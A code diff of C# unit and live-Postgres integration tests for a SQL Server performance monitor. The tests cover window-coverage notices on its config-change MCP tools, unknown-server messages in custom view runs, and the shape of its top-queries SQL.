@@ -301,12 +303,12 @@ index rather than the tool list learns the row grew. */
     /// <summary>
     /// The three grids that render this row grew the same two trailing columns: the web tile's
     /// <c>QS_HEALTH_COLUMNS</c> ends with the two payload keys (formatless, so the renderer prints a null as
-    /// the page's dash), and both WPF Query Store grids end with <c>Capture Mode</c> then <c>Wait Stats
-    /// Capture</c>, bound to the display properties that render a null as the same glyph — and the two XAML
+    /// the page's dash), and both WPF Query Store grids end with <c>Capture Mode</c>, <c>Wait Stats
+    /// Capture</c> then <c>Collected</c> (#4966, bound to <c>CaptureTimeLocal</c>), bound to the display properties that render a null as the same glyph — and the two XAML
     /// grids carry the identical binding sequence, the way every twinned grid in the two front ends does.
     /// </summary>
     [Fact]
-    public void QueryStoreHealth_EveryGrid_EndsWithTheTwoCaptureModeColumns()
+    public void QueryStoreHealth_EveryGrid_EndsWithTheTwoCaptureModeColumnsThenCollected()
     {
         var js = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "wwwroot", "js", "pages", "server-tabs.js");
         var marker = "const QS_HEALTH_COLUMNS = [";
@@ -325,8 +327,9 @@ public void QueryStoreHealth_EveryGrid_EndsWithTheTwoCaptureModeColumns()
         var viewerBindings = GridBindings(RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.xaml"));
         var liteBindings = GridBindings(RepoFile.ReadRepoFile("Lite", "Controls", "ServerTab.xaml"));
         Assert.Equal(viewerBindings, liteBindings);
-        Assert.Equal("CaptureModeDisplay", viewerBindings[^2]);
-        Assert.Equal("WaitStatsCaptureModeDisplay", viewerBindings[^1]);
+        Assert.Equal("CaptureModeDisplay", viewerBindings[^3]);
+        Assert.Equal("WaitStatsCaptureModeDisplay", viewerBindings[^2]);
+        Assert.Equal("CaptureTimeLocal", viewerBindings[^1]);
 
         foreach (var xaml in new[] { RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerServerTab.xaml"), RepoFile.ReadRepoFile("Lite", "Controls", "ServerTab.xaml") })
         {
@@ -577,6 +580,7 @@ public void AdvertisedSchema_IsGeminiClean_ForAllFiveTools_NoRequiredParams()
 /// asserts the change tools surface the change and the scoped-config tool round-trips.
 /// </summary>
 [Collection("live-postgres")]
+[Trait("Reads", "Lite")]
 public sealed class DarlingMcpConfigHistoryToolsLivePostgresTests
 {
     private const string ServerName = "darling-mcp-confighist-e2e";
@@ -696,6 +700,326 @@ await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =
         }
     }
 
+    /* #4966 window-floor cases for the three change tools. The coverage probe measures the purge edge from the store's own clock,
+       so the anchor is the current minute and every seeded instant is an offset from it. */
+    private static DateTime AnchorNow()
+    {
+        var now = DateTime.UtcNow;
+        return new DateTime(now.Year, now.Month, now.Day, now.Hour, now.Minute, 0, DateTimeKind.Utc);
+    }
+
+    private static readonly string[] WindowTools = ["get_server_config_changes", "get_database_config_changes", "get_trace_flag_changes"];
+
+    private static string TableOf(string tool) => tool switch
+    {
+        "get_server_config_changes" => "server_config",
+        "get_database_config_changes" => "database_config",
+        _ => "trace_flags",
+    };
+
+    private static string WindowServerName(string tool, string window) => "darling-mcp-confighist-window-" + window + "-" + TableOf(tool);
+
+    private static Task<string> CallAsync(NpgsqlDataSource postgres, string tool, string server, int hours, DateTime end)
+    {
+        var asOf = WebDataStartNote.FormatWindowEnd(end);
+        return tool switch
+        {
+            "get_server_config_changes" => DarlingMcpConfigHistoryTools.GetServerConfigChanges(postgres, server, hours, asOf),
+            "get_database_config_changes" => DarlingMcpConfigHistoryTools.GetDatabaseConfigChanges(postgres, server, hours, asOf),
+            _ => DarlingMcpConfigHistoryTools.GetTraceFlagChanges(postgres, server, hours, asOf),
+        };
+    }
+
+    /// <summary>A server registered at <paramref name="created"/>, its runs of the tool's collector logged every
+    /// <paramref name="stepMinutes"/> minutes from <paramref name="runsFrom"/> to <paramref name="runsTo"/> (none when null), and one config snapshot
+    /// at each of <paramref name="snapshots"/>, each differing from the one before it (so every snapshot after the first is a change).</summary>
+    private static async Task SeedWindowServerAsync(
+        NpgsqlConnection connection, string tool, string name, DateTime created, DateTime? runsFrom, DateTime runsTo, int stepMinutes, DateTime[] snapshots, System.Threading.CancellationToken ct)
+    {
+        var serverId = ServerIdHelper.GetDeterministicHashCode(name);
+        await DeleteWindowServerAsync(connection, name, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, serverId, name, ct);
+        await DarlingMcpTestData.ExecAsync(connection, ct, "UPDATE servers SET created_date = $2 WHERE server_id = $1", serverId, DarlingMcpTestData.Naive(created));
+
+        if (runsFrom is DateTime from)
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT row_number() OVER (), $1, $2, $3, t, 12, 'SUCCESS', 0
+FROM generate_series($4::timestamp, $5::timestamp, make_interval(mins => $6)) AS t",
+                serverId, name, TableOf(tool), DarlingMcpTestData.Naive(from), DarlingMcpTestData.Naive(runsTo), stepMinutes);
+        }
+
+        for (var i = 0; i < snapshots.Length; i++)
+        {
+            var at = DarlingMcpTestData.Naive(snapshots[i]);
+            switch (tool)
+            {
+                case "get_server_config_changes":
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
+                        @"INSERT INTO server_config (config_id, capture_time, server_id, server_name, configuration_name, value_configured, value_in_use, is_dynamic, is_advanced)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9)",
+                        CollectionIdGenerator.Next(), at, serverId, name, "max degree of parallelism", (long)i, (long)i, true, true);
+                    break;
+                case "get_database_config_changes":
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
+                        "INSERT INTO database_config (config_id, capture_time, server_id, server_name, database_name, recovery_model) VALUES ($1,$2,$3,$4,$5,$6)",
+                        CollectionIdGenerator.Next(), at, serverId, name, Db, i % 2 == 0 ? "FULL" : "SIMPLE");
+                    break;
+                default:
+                    await DarlingMcpTestData.ExecAsync(connection, ct,
+                        @"INSERT INTO trace_flags (config_id, capture_time, server_id, server_name, trace_flag, status, is_global, is_session)
+VALUES ($1,$2,$3,$4,$5,$6,$7,$8)",
+                        CollectionIdGenerator.Next(), at, serverId, name, 1000 + i, true, true, false);
+                    break;
+            }
+        }
+    }
+
+    private static async Task DeleteWindowServerAsync(NpgsqlConnection connection, string name, System.Threading.CancellationToken ct)
+    {
+        var serverId = ServerIdHelper.GetDeterministicHashCode(name);
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            "DELETE FROM config_collector_schedules WHERE server_id = $1 AND collector_name IN ('server_config', 'database_config', 'trace_flags')", serverId);
+        foreach (var table in new[] { "server_config", "database_config", "trace_flags", "collection_log", "servers" })
+        {
+            await DarlingMcpTestData.ExecAsync(connection, ct, $"DELETE FROM {table} WHERE server_id = $1", serverId);
+        }
+    }
+
+    private async Task ForEachWindowToolAsync(
+        string window, Func<NpgsqlConnection, NpgsqlDataSource, string, string, DateTime, Task> seedAndAssert)
+    {
+        var cs = ConnectionString;
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to a Postgres connection string to run the live config-tools test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var connection = new NpgsqlConnection(cs);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await using var postgres = NpgsqlDataSource.Create(cs!);
+
+        /* A fleet-wide override row for one of the three collectors (another test's leftover on a shared store) moves the purge edge
+           off the default these cases assume, so the fleet rows are set aside and put back in the finally. */
+        var savedFleetRows = new List<(string Name, int? Frequency, int? Retention, bool Enabled, string[]? Databases)>();
+        await using (var save = new NpgsqlCommand(
+            "SELECT collector_name, frequency_minutes, retention_days, enabled, databases FROM config_collector_schedules WHERE server_id IS NULL AND lower(collector_name) IN ('server_config', 'database_config', 'trace_flags')", connection))
+        await using (var saved = await save.ExecuteReaderAsync(ct))
+        {
+            while (await saved.ReadAsync(ct))
+            {
+                savedFleetRows.Add((saved.GetString(0),
+                    saved.IsDBNull(1) ? null : saved.GetInt32(1),
+                    saved.IsDBNull(2) ? null : saved.GetInt32(2),
+                    saved.GetBoolean(3),
+                    saved.IsDBNull(4) ? null : (string[])saved.GetValue(4)));
+            }
+        }
+
+        await DarlingMcpTestData.ExecAsync(connection, ct,
+            "DELETE FROM config_collector_schedules WHERE server_id IS NULL AND lower(collector_name) IN ('server_config', 'database_config', 'trace_flags')");
+
+        var bodySucceeded = false;
+        try
+        {
+            foreach (var tool in WindowTools)
+            {
+                await seedAndAssert(connection, postgres, tool, WindowServerName(tool, window), AnchorNow());
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            foreach (var row in savedFleetRows)
+            {
+                await DarlingMcpTestData.ExecAsync(connection, System.Threading.CancellationToken.None,
+                    "INSERT INTO config_collector_schedules (server_id, collector_name, frequency_minutes, retention_days, enabled, databases) VALUES (NULL, $1, $2, $3, $4, $5) ON CONFLICT DO NOTHING",
+                    row.Name, (object?)row.Frequency ?? DBNull.Value, (object?)row.Retention ?? DBNull.Value, row.Enabled, (object?)row.Databases ?? DBNull.Value);
+            }
+
+            await LiveStoreCleanup.RunAsync(cs!, bodySucceeded, async (cleanup, cleanupCt) =>
+            {
+                foreach (var tool in WindowTools)
+                {
+                    await DeleteWindowServerAsync(cleanup, WindowServerName(tool, window), cleanupCt);
+                }
+            });
+        }
+    }
+
+    private static System.Text.Json.JsonElement Parse(string json) => System.Text.Json.JsonDocument.Parse(json).RootElement.Clone();
+
+    /// <summary>Collection starts inside the window: registered two days ago, read over 168 hours. The keys name where it starts and sit right after hours_back.</summary>
+    [Fact]
+    public async Task ADataAnswer_ForAServerAddedTwoDaysAgo_NamesWhereCoverageStarts_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachWindowToolAsync("added", async (connection, postgres, tool, name, end) =>
+        {
+            var added = end.AddDays(-2);
+            await SeedWindowServerAsync(connection, tool, name, added, added, end, 30, [end.AddDays(-1), end.AddHours(-12)], ct);
+
+            var root = Parse(await CallAsync(postgres, tool, name, 168, end));
+
+            Assert.True(root.GetProperty("window_truncated").GetBoolean(), tool);
+            Assert.Equal(McpHelpers.FormatEffectiveStart(added), root.GetProperty("effective_start").GetString());
+            Assert.Equal(
+                DarlingMcpWindowNotice.Build(added, end.AddHours(-168), TableOf(tool)).TruncationNote,
+                root.GetProperty("truncation_note").GetString());
+            Assert.True(root.GetProperty("change_count").GetInt32() > 0, tool);
+            Assert.False(root.TryGetProperty("effective_hours_back", out _), tool);
+
+            var names = root.EnumerateObject().Select(p => p.Name).ToList();
+            var at = names.IndexOf("hours_back");
+            /* #5244 PR6: get_database_config_changes echoes database_name (null for all) after the window notice. */
+            Assert.Equal(
+                tool == "get_database_config_changes"
+                    ? ["effective_start", "window_truncated", "truncation_note", "database_name", "change_count"]
+                    : ["effective_start", "window_truncated", "truncation_note", "change_count"],
+                names.Skip(at + 1).Take(tool == "get_database_config_changes" ? 5 : 4));
+        });
+    }
+
+    /// <summary>A quiet start: registered a month ago, its first snapshot two days into the window. The store covered the whole window: false, the asked start.</summary>
+    [Fact]
+    public async Task ADataAnswer_WhoseFirstSnapshotComesLate_IsCovered_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachWindowToolAsync("quiet", async (connection, postgres, tool, name, end) =>
+        {
+            await SeedWindowServerAsync(connection, tool, name, end.AddDays(-30), end.AddDays(-8), end, 60, [end.AddDays(-5), end.AddDays(-4)], ct);
+
+            var root = Parse(await CallAsync(postgres, tool, name, 168, end));
+
+            Assert.False(root.GetProperty("window_truncated").GetBoolean(), tool);
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, root.GetProperty("truncation_note").ValueKind);
+            var effectiveStart = DateTime.Parse(root.GetProperty("effective_start").GetString()!, System.Globalization.CultureInfo.InvariantCulture, System.Globalization.DateTimeStyles.RoundtripKind);
+            Assert.InRange((effectiveStart - end.AddHours(-168)).TotalSeconds, 0, 120);
+        });
+    }
+
+    /// <summary>An empty one-hour window with no run and no snapshot: the hints say NOT covered, keep the existing keys, and add the three after them.</summary>
+    [Fact]
+    public async Task AnEmptyHour_WithNoRun_CarriesHintsThatSayTheStoreHoldsNoCollection_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachWindowToolAsync("norun", async (connection, postgres, tool, name, end) =>
+        {
+            await SeedWindowServerAsync(connection, tool, name, end.AddDays(-30), null, end, 30, [], ct);
+
+            var root = Parse(await CallAsync(postgres, tool, name, 1, end));
+
+            Assert.Equal("empty", root.GetProperty("status").GetString());
+            var hints = root.GetProperty("hints");
+            Assert.True(hints.GetProperty("window_truncated").GetBoolean(), tool);
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, hints.GetProperty("effective_start").ValueKind);
+            Assert.Contains("no collection of " + TableOf(tool), hints.GetProperty("truncation_note").GetString(), StringComparison.Ordinal);
+            Assert.Equal(["server", "snapshot_count", "effective_start", "window_truncated", "truncation_note"], hints.EnumerateObject().Select(p => p.Name));
+        });
+    }
+
+    /// <summary>A short window that answers data starts no probe: the answer is covered at the asked start whatever a probe would read.</summary>
+    [Fact]
+    public async Task AShortWindow_ThatAnswersData_StartsNoProbe_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachWindowToolAsync("short", async (connection, postgres, tool, name, end) =>
+        {
+            await SeedWindowServerAsync(connection, tool, name, end.AddDays(-30), end.AddDays(-8), end, 60, [end.AddMinutes(-50), end.AddMinutes(-20)], ct);
+
+            var probes = 0;
+            var bodySucceeded = false;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => { probes++; throw new TimeoutException("a short window must not probe"); };
+            try
+            {
+                var root = Parse(await CallAsync(postgres, tool, name, 1, end));
+
+                Assert.Equal(0, probes);
+                Assert.True(root.GetProperty("change_count").GetInt32() > 0, tool);
+                Assert.False(root.GetProperty("window_truncated").GetBoolean(), tool);
+                Assert.Equal(McpHelpers.FormatEffectiveStart(end.AddHours(-1)), root.GetProperty("effective_start").GetString());
+                bodySucceeded = true;
+            }
+            finally
+            {
+                await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () =>
+                {
+                    DarlingMcpWindowNotice.TestOnlyProbe = null;
+                    return Task.CompletedTask;
+                });
+            }
+        });
+    }
+
+    /// <summary>
+    /// A snapshot BEFORE the window with no logged run inside it. The viewer and the web Config Changes notes do not count a
+    /// pre-window snapshot as covered (config is captured on connect, so the last snapshot of a long-connected server predates
+    /// every recent window), and the tools match them: the empty answer says the store holds no collection in the window. With a
+    /// run logged in the window the same server is covered.
+    /// </summary>
+    [Fact]
+    public async Task APreWindowSnapshot_IsNotCovered_UnlessARunIsLoggedInTheWindow_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachWindowToolAsync("prewindow", async (connection, postgres, tool, name, end) =>
+        {
+            await SeedWindowServerAsync(connection, tool, name, end.AddDays(-30), null, end, 30, [end.AddDays(-3)], ct);
+
+            var hints = Parse(await CallAsync(postgres, tool, name, 1, end)).GetProperty("hints");
+            Assert.True(hints.GetProperty("window_truncated").GetBoolean(), tool);
+            Assert.Equal(System.Text.Json.JsonValueKind.Null, hints.GetProperty("effective_start").ValueKind);
+
+            /* The same server with one run 35 minutes into the window. */
+            var start = end.AddHours(-1);
+            await SeedWindowServerAsync(connection, tool, name, end.AddDays(-30), start.AddMinutes(35), start.AddMinutes(35), 600, [end.AddDays(-3)], ct);
+
+            var covered = Parse(await CallAsync(postgres, tool, name, 1, end)).GetProperty("hints");
+            Assert.False(covered.GetProperty("window_truncated").GetBoolean(), tool);
+            Assert.Equal(McpHelpers.FormatEffectiveStart(start), covered.GetProperty("effective_start").GetString());
+        });
+    }
+
+    /// <summary>A coverage probe that throws costs the notice, never the answer: data comes back without the three keys, an empty answer without hints.</summary>
+    [Fact]
+    public async Task AFailedProbe_CostsTheNotice_NeverTheAnswer_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await ForEachWindowToolAsync("probefail", async (connection, postgres, tool, name, end) =>
+        {
+            await SeedWindowServerAsync(connection, tool, name, end.AddDays(-2), end.AddDays(-2), end, 30, [end.AddDays(-1), end.AddHours(-12)], ct);
+
+            var bodySucceeded = false;
+            DarlingMcpWindowNotice.TestOnlyProbe = () => throw new TimeoutException("the probe's deadline passed");
+            try
+            {
+                var root = Parse(await CallAsync(postgres, tool, name, 168, end));
+
+                Assert.False(root.TryGetProperty("status", out _), tool);
+                Assert.False(root.TryGetProperty("error", out _), tool);
+                Assert.True(root.GetProperty("change_count").GetInt32() > 0, tool);
+                Assert.False(root.TryGetProperty("effective_start", out _), tool);
+                Assert.False(root.TryGetProperty("window_truncated", out _), tool);
+                Assert.False(root.TryGetProperty("truncation_note", out _), tool);
+
+                var empty = Parse(await CallAsync(postgres, tool, name, 1, end.AddDays(-5)));
+                Assert.Equal("empty", empty.GetProperty("status").GetString());
+                Assert.True(empty.TryGetProperty("hints", out var hints), tool);
+                Assert.False(hints.TryGetProperty("effective_start", out _), tool);
+                Assert.False(hints.TryGetProperty("window_truncated", out _), tool);
+                bodySucceeded = true;
+            }
+            finally
+            {
+                await LiveStoreCleanup.RunOwnedAsync(bodySucceeded, () =>
+                {
+                    DarlingMcpWindowNotice.TestOnlyProbe = null;
+                    return Task.CompletedTask;
+                });
+            }
+        });
+    }
+
     private static async Task DeleteRowsAsync(NpgsqlConnection connection, System.Threading.CancellationToken ct)
     {
         var sql = string.Join(" ", new[] { "server_config", "database_config", "trace_flags", "database_scoped_config", "query_store_health" }
diff --git a/Darling/Darling.Tests/DarlingMcpCustomViewToolsTests.cs b/Darling/Darling.Tests/DarlingMcpCustomViewToolsTests.cs
index 59552c81e7..1e24d586b5 100644
--- a/Darling/Darling.Tests/DarlingMcpCustomViewToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpCustomViewToolsTests.cs
@@ -17,6 +17,7 @@
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
 using PerformanceMonitor.Darling.Service.Mcp;
 using PerformanceMonitor.Darling.Storage;
 using Xunit;
@@ -567,6 +568,18 @@ await DarlingMcpTestData.ExecAsync(seed, ct,
             Assert.Equal("invalid", DarlingMcpTestData.StatusOf(await DarlingMcpCustomViewTools.RunCustomViewPanel(
                 postgres, "{\"panel\":{\"source\":\"wait_stats\",\"measure\":\"nope\",\"aggregate\":\"sum\",\"viz\":\"table\"}}")));
 
+            /* W13: a server the registry does not know is not_found with a plain message, not a null row; the seeded, registered server
+               scoped the same way still returns its rows. */
+            var unknownRun = await DarlingMcpCustomViewTools.RunCustomViewPanel(
+                postgres, "{\"server\":\"cv_mcp_no_such_server\",\"panel\":{\"source\":\"wait_stats\",\"measure\":\"wait_time_ms\",\"aggregate\":\"sum\",\"viz\":\"stat\"}}");
+            Assert.Equal("not_found", DarlingMcpTestData.StatusOf(unknownRun));
+            Assert.Contains("cv_mcp_no_such_server", unknownRun, StringComparison.Ordinal);
+            using (var scoped = JsonDocument.Parse(await DarlingMcpCustomViewTools.RunCustomViewPanel(
+                postgres, "{\"server\":\"" + seedServerName + "\",\"panel\":{\"source\":\"wait_stats\",\"measure\":\"wait_time_ms\",\"aggregate\":\"sum\",\"timeBucket\":\"hour\",\"viz\":\"line\"}}")))
+            {
+                Assert.True(scoped.RootElement.GetProperty("rows").GetArrayLength() >= 1, scoped.RootElement.GetRawText());
+            }
+
             /* delete — deleted; then get + delete-again — not_found. */
             Assert.Equal("deleted", DarlingMcpTestData.StatusOf(await DarlingMcpCustomViewTools.DeleteCustomView(postgres, id)));
             Assert.Equal("not_found", DarlingMcpTestData.StatusOf(await DarlingMcpCustomViewTools.GetCustomView(postgres, id)));
@@ -592,3 +605,62 @@ await DarlingMcpTestData.ExecAsync(cleanup, cleanupCt,
         }
     }
 }
+
+
+/// <summary>W13: the message a composed run answers for a scope that names only servers the registry does not know.</summary>
+public sealed class ComposeUnknownServerMessageTests
+{
+    private static readonly System.Text.Json.Nodes.JsonArray NullRow = new(new System.Text.Json.Nodes.JsonObject { ["value"] = null });
+
+    [Fact]
+    public void AnUnregisteredNameOverNothing_IsUnknown_AndNamesTheServer()
+    {
+        var message = DarlingWebEndpoints.UnknownServerMessage(new[] { "h4-walk-throwaway" }, new[] { "h4-walk-throwaway" }, NullRow);
+        Assert.Equal("No server named 'h4-walk-throwaway' is registered, and nothing is stored under that name in this time range.", message);
+        Assert.NotNull(DarlingWebEndpoints.UnknownServerMessage(new[] { "a", "b" }, new[] { "a", "b" }, new System.Text.Json.Nodes.JsonArray()));
+    }
+
+    /// <summary>W13: a registry lookup that FAULTED answers every name as unregistered (the old-read fallback), which is not a finding.
+    /// The run must keep the old empty answer, never a not_found for a server that is registered.</summary>
+    [Fact]
+    public void AFailedRegistryLookup_NeverMakesARegisteredServerUnknown()
+    {
+        Assert.Null(DarlingWebEndpoints.UnknownServerMessage(new[] { "a" }, new[] { "a" }, NullRow, lookupFailed: true));
+        Assert.NotNull(DarlingWebEndpoints.UnknownServerMessage(new[] { "a" }, new[] { "a" }, NullRow, lookupFailed: false));
+    }
+
+    /// <summary>The lookup reports its own fault to the caller (a store nobody listens on is the fault), and still answers every name.</summary>
+    [Fact]
+    public async Task TheRegistryLookup_ReportsAFault_AndStillAnswersEveryName()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var builder = new Npgsql.NpgsqlConnectionStringBuilder
+        {
+            Host = "127.0.0.1", Port = 1, Username = "x", Database = "x", Timeout = 2, CommandTimeout = 2, Pooling = false,
+        };
+        await using var dead = Npgsql.NpgsqlDataSource.Create(builder.ConnectionString);
+        var failed = false;
+        var answer = await ComposeServerScope.FindUnregisteredAsync(dead, new[] { "a", "b" }, ct, logger: null, onLookupFailed: () => failed = true);
+        Assert.True(failed);
+        Assert.Equal(new[] { "a", "b" }, answer);
+    }
+
+    [Fact]
+    public void ARemovedServersRetainedRows_ARegisteredServer_AndTheWholeFleet_AreNeverUnknown()
+    {
+        var rows = new System.Text.Json.Nodes.JsonArray(new System.Text.Json.Nodes.JsonObject { ["value"] = 12.5 });
+        Assert.Null(DarlingWebEndpoints.UnknownServerMessage(new[] { "gone" }, new[] { "gone" }, rows));
+        Assert.Null(DarlingWebEndpoints.UnknownServerMessage(new[] { "a" }, null, NullRow));
+        Assert.Null(DarlingWebEndpoints.UnknownServerMessage(new[] { "a", "b" }, new[] { "b" }, NullRow));
+        Assert.Null(DarlingWebEndpoints.UnknownServerMessage(null, null, NullRow));
+    }
+
+    [Fact]
+    public void TheWebRoute_AnswersAnUnknownServerAs404WithItsMessage()
+    {
+        var outcome = DarlingWebEndpoints.ComposeRunOutcome.NotFound("No server named 'x' is registered, and nothing is stored under that name in this time range.");
+        Assert.True(outcome.IsNotFound);
+        var result = DarlingWebEndpoints.ComposeRunFailureResult(outcome, "/api/compose/run", Microsoft.Extensions.Logging.Abstractions.NullLogger.Instance, 1);
+        Assert.Equal(404, (result as Microsoft.AspNetCore.Http.IStatusCodeHttpResult)?.StatusCode);
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingMcpDataToolsTests.cs b/Darling/Darling.Tests/DarlingMcpDataToolsTests.cs
index ee076d7259..45b7c21c9e 100644
--- a/Darling/Darling.Tests/DarlingMcpDataToolsTests.cs
+++ b/Darling/Darling.Tests/DarlingMcpDataToolsTests.cs
@@ -40,6 +40,7 @@ namespace Darling.Tests;
 /// a server the worker's way, plant rows across the collector tables, call the tool METHODS directly and
 /// assert each read round-trips its data-bearing envelope and an empty store returns the #1224 miss.
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class DarlingMcpDataToolsSurfaceAndSqlTests
 {
     /* ---------------- ungated: tool-surface pin ---------------- */
@@ -130,7 +131,7 @@ private static (string Name, bool Optional)[] McpParams(string toolName)
     [InlineData("get_wait_types", "server_name,hours_back,as_of")]
     [InlineData("get_memory_stats", "server_name")]
     [InlineData("get_memory_clerks", "server_name")]
-    [InlineData("get_file_io_stats", "server_name")]
+    [InlineData("get_file_io_stats", "server_name,database_name")]
     [InlineData("get_tempdb_trend", "server_name,hours_back,as_of")]
     [InlineData("get_perfmon_stats", "server_name,counter_name,instance_name")]
     [InlineData("get_top_queries_by_cpu", "server_name,hours_back,top,database_name,parallel_only,min_dop,as_of")]
@@ -634,11 +635,15 @@ public void TopQueriesSql_AggregatesDeltas_OptionalDbFilter_WaitforTrim_BaseTabl
            base table's inline query_text is NULL on every row written since. ("FROM v_query_stats" does not
            contain "FROM query_stats", so these two assertions name two different relations.) */
         var rankedRead = sql.IndexOf("FROM query_stats", StringComparison.Ordinal);
-        var lateral = sql.IndexOf("LEFT JOIN LATERAL", StringComparison.Ordinal);
-        var textRead = sql.IndexOf("FROM v_query_stats", StringComparison.Ordinal);
+        var lookupAt = sql.IndexOf("latest_text AS MATERIALIZED (", StringComparison.Ordinal);
+        var dimRead = sql.IndexOf("query_text_dim", StringComparison.Ordinal);
         Assert.True(rankedRead >= 0, "the ranked CTE must aggregate the base query_stats table");
-        Assert.True(textRead > lateral && lateral > rankedRead,
-            "the base-table aggregate comes first; the resolving view is read by the latest-text LATERAL");
+        /* #5309: the one latest-text lookup resolves the dimension itself (what v_query_stats' COALESCE does) for
+           the newest row only, instead of a per-row LATERAL over the view. */
+        Assert.DoesNotContain("LATERAL", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("FROM v_query_stats", sql, StringComparison.Ordinal);
+        Assert.True(dimRead > lookupAt && lookupAt > rankedRead,
+            "the base-table aggregate comes first; the dimension is read by the one latest-text lookup");
 
         Assert.Contains("SUM(delta_worker_time)", sql, StringComparison.Ordinal);
         Assert.Contains("SUM(delta_elapsed_time)", sql, StringComparison.Ordinal);
@@ -646,7 +651,7 @@ public void TopQueriesSql_AggregatesDeltas_OptionalDbFilter_WaitforTrim_BaseTabl
            hosts still collapse) and pins the LATERAL to the group's own rows. */
         Assert.Contains("GROUP BY database_name, query_hash, host_object_name", sql, StringComparison.Ordinal);
         Assert.Contains("host_object_name IS NOT DISTINCT FROM r.host_object_name", sql, StringComparison.Ordinal);
-        Assert.Contains("$5::text IS NULL OR database_name = $5", sql, StringComparison.Ordinal); /* optional db filter */
+        Assert.Contains("$5::text[] IS NULL OR database_name = ANY($5)", sql, StringComparison.Ordinal); /* optional db filter */
         Assert.Contains("NOT LIKE 'WAITFOR%'", sql, StringComparison.Ordinal);          /* over-fetch + trim */
         Assert.Contains("LIMIT $4", sql, StringComparison.Ordinal);
     }
@@ -657,8 +662,8 @@ public void TopProceduresSql_AggregatesDeltas_OptionalDbFilter_ReadsBaseTable()
         var sql = DarlingDataReader.TopProceduresSql;
         Assert.Contains("FROM procedure_stats", sql, StringComparison.Ordinal);
         Assert.Contains("GROUP BY database_name, schema_name, object_name, object_type", sql, StringComparison.Ordinal);
-        Assert.Contains("$5::text IS NULL OR database_name = $5", sql, StringComparison.Ordinal);
-        Assert.Contains("SUM(delta_worker_time) DESC", sql, StringComparison.Ordinal);
+        Assert.Contains("$5::text[] IS NULL OR database_name = ANY($5)", sql, StringComparison.Ordinal);
+        Assert.Contains("SUM(delta_worker_time) AS rank_metric", TopRankings.Apply(sql, TopRanking.Cpu, hourly: false), StringComparison.Ordinal);
     }
 
     /* #3523: every by-CPU read RANKED by summed elapsed time — on a wait-bound server the real CPU
@@ -672,13 +677,16 @@ ranking by design and are pinned separately in ViewerQueriesTests. */
     [InlineData(nameof(DarlingDataReader.TopProceduresSql))]
     public void ByCpuReads_RankByWorkerTime_NeverElapsed(string sqlName)
     {
-        var sql = SqlByName(sqlName);
-        Assert.Contains("ORDER BY SUM(delta_worker_time) DESC", sql, StringComparison.Ordinal);
+        /* #5226: the const spells the ranking as the anchor; the CPU default is the const expanded to worker time. */
+        var sql = TopRankings.Apply(SqlByName(sqlName), TopRanking.Cpu, hourly: false);
+        Assert.Contains("SUM(delta_worker_time) AS rank_metric", sql, StringComparison.Ordinal);
+        Assert.Contains("ORDER BY rank_metric DESC NULLS LAST, rank_cpu DESC NULLS LAST", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("SUM(delta_elapsed_time) AS rank_metric", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("SUM(delta_elapsed_time) DESC", sql, StringComparison.Ordinal);
         Assert.DoesNotContain("total_elapsed_us DESC", sql, StringComparison.Ordinal);
         if (sqlName != nameof(DarlingDataReader.TopProceduresSql))
         {
-            Assert.Contains("ORDER BY r.total_cpu_us DESC", sql, StringComparison.Ordinal);
+            Assert.Contains("ORDER BY r.rank_metric DESC NULLS LAST, r.rank_cpu DESC NULLS LAST", sql, StringComparison.Ordinal);
         }
     }
 
@@ -691,7 +699,7 @@ public void QueryStoreSql_AveragesIntervals_OptionalDbFilter_ReadsBaseTable()
         /* replica_role is a grouping key: an AG's shared Query Store (2022+) would otherwise report
            primary and secondary workload blended into one row. */
         Assert.Contains("GROUP BY database_name, query_id, plan_id, query_hash, execution_type_desc, replica_role", sql, StringComparison.Ordinal);
-        Assert.Contains("$5::text IS NULL OR database_name = $5", sql, StringComparison.Ordinal);
+        Assert.Contains("$5::text[] IS NULL OR database_name = ANY($5)", sql, StringComparison.Ordinal);
         Assert.Contains("$6::text IS NULL OR execution_type_desc = $6", sql, StringComparison.Ordinal);
         Assert.Contains("r.execution_type_desc", sql, StringComparison.Ordinal);
         Assert.Contains("$7::text IS NULL OR module_name = $7", sql, StringComparison.Ordinal);
@@ -707,7 +715,7 @@ public void QueryStoreSql_AppliesModuleFilterAfterDedupAndBeforeRankingLimit()
